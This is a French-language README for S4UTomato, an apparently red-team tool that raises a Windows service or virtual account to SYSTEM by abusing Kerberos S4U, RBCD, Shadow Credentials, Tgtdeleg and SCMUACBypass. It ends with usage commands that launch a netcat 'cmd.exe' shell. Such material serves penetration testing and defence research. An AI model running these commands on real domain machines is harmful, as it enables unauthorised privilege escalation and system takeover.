wh0amitz/s4utomatoÉlever un compte de service vers LocalSystem via Kerberos
Élévation de compte de service à LocalSystem via Kerberos.
Les amateurs de la série d'élévation de privilèges « Potato » savent qu'elle peut élever les privilèges d'un compte de service vers ceux du système local. Les premières techniques d'exploitation de « Potato » sont presque identiques : exploiter certaines fonctionnalités des interfaces COM, tromper le compte NT AUTHORITY\SYSTEM pour qu'il se connecte et s'authentifie auprès d'un serveur RPC contrôlé par l'attaquant. Ensuite, via une série d'appels API, une attaque de type intermédiaire (NTLM Relay) est menée pendant ce processus d'authentification, ce qui entraîne la génération d'un jeton d'accès pour le compte NT AUTHORITY\SYSTEM sur le système local. Enfin, ce jeton est volé et la fonction CreateProcessWithToken() ou CreateProcessAsUser() est utilisée pour passer le jeton et créer un nouveau processus afin d'obtenir les privilèges SYSTEM.
Dans un environnement de domaine Windows, SYSTEM, NT AUTHORITY\NETWORK SERVICE et les comptes virtuels Microsoft sont utilisés pour l'authentification par les comptes d'ordinateur système joints au domaine. Comprendre cela est crucial car dans les versions modernes de Windows, la plupart des services Windows s'exécutent par défaut en utilisant des comptes virtuels Microsoft. Notamment, IIS et MSSQL utilisent ces comptes virtuels, et je pense que d'autres applications pourraient également les employer. Par conséquent, nous pouvons abuser de l'extension S4U pour obtenir le ticket de service pour le compte d'administrateur de domaine « Administrator » sur la machine locale. Ensuite, avec l'aide de SCMUACBypass de James Forshaw (@tiraniddo), nous pouvons utiliser ce ticket pour créer un service système et obtenir les privilèges SYSTEM. Cela atteint le même effet que les méthodes traditionnelles utilisées dans la famille de techniques d'élévation de privilèges « Potato ».
Dans tout scénario où une machine est jointe à un domaine, vous pouvez tirer parti des techniques susmentionnées pour une élévation de privilèges locale tant que vous pouvez exécuter du code dans le contexte d'un compte de service Windows ou d'un compte virtuel Microsoft, à condition que l'Active Directory n'ait pas été durci pour se défendre pleinement contre de telles attaques.
Avant cela, nous devons obtenir un TGT (Ticket Granting Ticket) pour le compte de la machine locale. Ce n'est pas facile en raison des restrictions imposées par les autorisations du compte de service, qui nous empêchent d'obtenir la clé à long terme de l'ordinateur et donc de construire une requête KRB_AS_REQ. Pour atteindre l'objectif susmentionné, j'ai exploité trois techniques : Resource-based Constrained Delegation, Shadow Credentials et Tgtdeleg. J'ai construit mon projet sur la base de la boîte à outils Rubeus.
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain Domaine (FQDN) pour l'authentification.
-s, --Server Nom d'hôte du contrôleur de domaine ou du serveur LDAP.
-m, --ComputerName Le nouveau compte ordinateur à créer.
-p, --ComputerPassword Le mot de passe du nouveau compte ordinateur à créer.
-f, --Force Forcer la mise à jour de l'attribut 'msDS-KeyCredentialLink' de l'objet
ordinateur.
-c, --Command Programme à exécuter.
-v, --Verbose Afficher les informations de débogage détaillées.
--help Afficher l'écran d'aide.
--version Afficher les informations de version.
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"
S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f
# Récupérer d'abord le TGT via Tgtdeleg
S4UTomato.exe tgtdeleg
# Ensuite exécuter SCMUACBypass pour obtenir les privilèges SYSTEM
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
